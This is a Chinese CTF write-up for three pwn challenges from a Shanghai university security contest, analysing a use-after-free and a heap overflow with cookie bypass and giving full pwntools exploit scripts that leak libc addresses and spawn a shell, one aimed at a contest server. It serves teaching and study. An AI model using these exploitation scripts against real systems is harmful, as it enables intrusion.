wp

0x00 p200

先分析了程序关键的数据结构

分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf

脚本如下:

1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆

2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据

3.再free,此时可以把整块Ton堆给free

4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8

5.执行1.use 此时其实是执行system('/bin/sh')

  1. from pwn import*
  2. # context.log_level = 'debug'
  3. # p = process('./p200')
  4. addr = 0x0000000000602D70
  5. addr2 = 0x602D58
  6.  
  7. p = remote('106.75.8.58',12333)
  8.  
  9. p.recvuntil('1. use, 2. after, 3. free\n')
  10. p.sendline('')
  11.  
  12. p.recvuntil('1. use, 2. after, 3. free\n')
  13. p.sendline('')
  14. p.recvuntil('Please input the length:\n')
  15. p.sendline(str(32))
  16. p.sendline(p64(addr2).ljust(32, '\x00'))
  17.  
  18. p.recvuntil('1. use, 2. after, 3. free\n')
  19. p.sendline('')
  20. p.recvuntil('Please input the length:\n')
  21. p.sendline(str(32))
  22. p.sendline(p64(addr2).ljust(32, '\x00'))
  23.  
  24. p.recvuntil('1. use, 2. after, 3. free\n')
  25. p.sendline('')
  26.  
  27. p.recvuntil('1. use, 2. after, 3. free\n')
  28. p.sendline('')
  29. p.recvuntil('Please input the length:\n')
  30. p.sendline(str(0x30))
  31. p.sendline(p64(addr).ljust(0x30, '\x00'))
  32.  
  33. p.recvuntil('1. use, 2. after, 3. free\n')
  34. p.sendline('')
  35. p.recvuntil('Please input the length:\n')
  36. p.sendline(str(0x30))
  37. p.sendline(p64(addr).ljust(0x30, '\x00'))
  38.  
  39. p.recvuntil('1. use, 2. after, 3. free\n')
  40. p.sendline('')
  41.  
  42. p.interactive()

学习

0x01 heap

也先给出数据结构

程序开始

1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续

2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写

发现漏洞

在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容

绕过保护

1.先申请一定数量的堆块,就可以保证堆块连续

2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.

漏洞利用

1.泄露atoi_addr地址,计算出system_addr

2.在bss段写入/bin/sh

3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss

4.调用introduce函数(实际上是system('/bin/sh'))

Al3x大佬的脚本,orz:

  1. #!/usr/bin/env python
  2.  
  3. from pwn import *
  4.  
  5. #context.log_level = 'debug'
  6.  
  7. def add(lName, name, lSname, sname, tutor='no'):
  8. p.sendlineafter("option:", '')
  9. p.sendlineafter("name", str(lName))
  10. p.sendlineafter("name", name)
  11. p.sendlineafter("schoolname", str(lSname))
  12. p.sendlineafter("school name", sname)
  13. p.sendlineafter(")", tutor)
  14.  
  15. def remove(ID):
  16. p.sendlineafter("option:", '')
  17. p.sendlineafter("delete", str(ID))
  18.  
  19. def edit(ID, length, context, flag):
  20. p.sendlineafter("option:", '')
  21. p.sendlineafter("edit", str(ID))
  22. if flag == 0:
  23. p.sendlineafter("option:", '')
  24. p.sendlineafter("name", str(length))
  25. p.sendlineafter("name", context)
  26. else:
  27. p.sendlineafter("option:", '')
  28. p.sendlineafter("schoolname", str(length))
  29. p.sendlineafter("schoolname", context)
  30.  
  31. def show(ID):
  32. p.sendlineafter("option:", '')
  33. p.sendlineafter("intro", str(ID))
  34.  
  35. #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
  36. #p = remote('106.75.8.58', 23238)
  37. p = process("./heap")
  38. for i in range(120):
  39. add(0x29, 'aaaa', 0x29, 'bbbb')
  40.  
  41. atoi_got = 0x602FE8
  42. bss_addr = 0x60F000
  43. add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
  44. add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
  45. add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
  46. add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
  47. add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124
  48.  
  49. payload = 'a'*0x30 #padding
  50. payload += 'a'*8 + p64(0x41) #prev_size & size
  51. payload += p64(0x79) #id
  52. payload += p64(atoi_got) #name_chunck_ptr
  53. payload += '\x57\xC0' #name_chunck_size & cookies_off
  54. edit(120, 0x55, payload, 1)
  55.  
  56. show(121)
  57. p.recvuntil("name is ")
  58. atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
  59. system_addr = atoi_addr - 0x36E80 + 0x45390
  60.  
  61. payload = 'a'*0x30
  62. payload += 'a'*8 + p64(0x41)
  63. payload += p64(0x7a)
  64. payload += p64(bss_addr)
  65. payload +='\x3f'
  66. edit(121, 0x55, payload, 1)
  67. edit(122, 0x10, '/bin/sh', 0)
  68.  
  69. payload = 'a'*0x30
  70. payload += 'a'*8 + p64(0x41)
  71. payload += p64(0x7c)
  72. payload += p64(bss_addr)
  73. payload += p64(0x3f)
  74. payload += p64(system_addr)
  75. payload += p64(bss_addr)
  76. payload += '\x3f'
  77. edit(123, 0x6d, payload, 1)
  78. #raw_input()
  79. show(124)
  80.  
  81. p.interactive()

0x02 list

这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.

可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...

第三届上海市大学生网络安全大赛wp&学习的更多相关文章

  1. 第三届上海市大学生网络安全大赛 流量分析 WriteUp

    题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...

  2. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  3. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  4. 2019 上海市大学生网络安全大赛 RE部分WP

    这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...

  5. fzu 2105 Digits Count ( 线段树 ) from 第三届福建省大学生程序设计竞赛

    http://acm.fzu.edu.cn/problem.php?pid=2105 Problem Description Given N integers A={A[0],A[1],...,A[N ...

  6. [2012山东省第三届ACM大学生程序设计竞赛]——n a^o7 !

    n a^o7 ! 题目:http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2413 Time Lim ...

  7. 第十一届GPCT杯大学生程序设计大赛完美闭幕

    刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...

  8. [2012山东省第三届ACM大学生程序设计竞赛]——Mine Number

    Mine Number 题目:http://acm.sdut.edu.cn/sdutoj/problem.php? action=showproblem&problemid=2410 Time ...

  9. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

随机推荐

  1. 計蒜客/小教官(xjb)

    題目鏈接:https://nanti.jisuanke.com/t/366 題意:中文題誒~ 思路: 先通過給出的條件構造一個符合題意的數組(可以是任意一個符合條件的數組,菜雞不會證明: 然後構造的數 ...

  2. 子div块中设置margin-top时影响父div块位置的解决办法及其原因

    解决办法①: 若子DIV块中使用margin-top,则在父DIV块中添加:overflow:hidden; 解决办法②: 在子DIV块中用padding-top代替margin-top. 有个叫 b ...

  3. text() html() empty()

    text()             获取中间的文本  不包括标签 html()            获取标签中间的东西 包括标签 与text()是有区别的 empty()         清空标签 ...

  4. 【转】String hashCode 方法为什么选择数字31作为乘子

    某天,我在写代码的时候,无意中点开了 String hashCode 方法.然后大致看了一下 hashCode 的实现,发现并不是很复杂.但是我从源码中发现了一个奇怪的数字,也就是本文的主角31.这个 ...

  5. HDU4035(概率期望、树形、数学)

    和ZOJ3329有些像,都是用期望列出来式子以后,为了解式子,设A[i],B[i],此题又多了C[i],然后用递推(此题是树形dp)去求得ABC,最后结果只跟ABC有关,跟列写的期望数组根本无关. 虽 ...

  6. 最长上升子序列LIS(云笔记图片版)

  7. oracle dual是个什么表

    这几天一直在研究oracle,常常会用到dual这个系统表,dual表到底是一个什么表?带着疑问查了百度了一下,现在总结一下:DUAL是Oracle与数据字典一起自动创建的一个表,它只有一列:DUMM ...

  8. centos下svn的ldap认证配置

    前提:完成svn的基本安装 一.安装sasl相关组件 #yum install -y cyrus-sasl cyrus-sasl-lib cyrus-sasl-plain 二.查看SASL版本和提供的 ...

  9. 540 Single Element in a Sorted Array 有序数组中的单一元素

    给定一个只包含整数的有序数组,每个元素都会出现两次,唯有一个数只会出现一次,找出这个数.示例 1:输入: [1,1,2,3,3,4,4,8,8]输出: 2 示例 2:输入: [3,3,7,7,10,1 ...

  10. ubuntu下sublime屏蔽alt键显示顶部菜单栏

    在sulime下喜欢把方向键映的上下左右映射为alt+i/k/j/l ,按单词移动alt+h/; 但是在ubuntu下按alt会弹出sublime的顶部菜单栏,如果想屏蔽sublime按alt屏蔽菜单 ...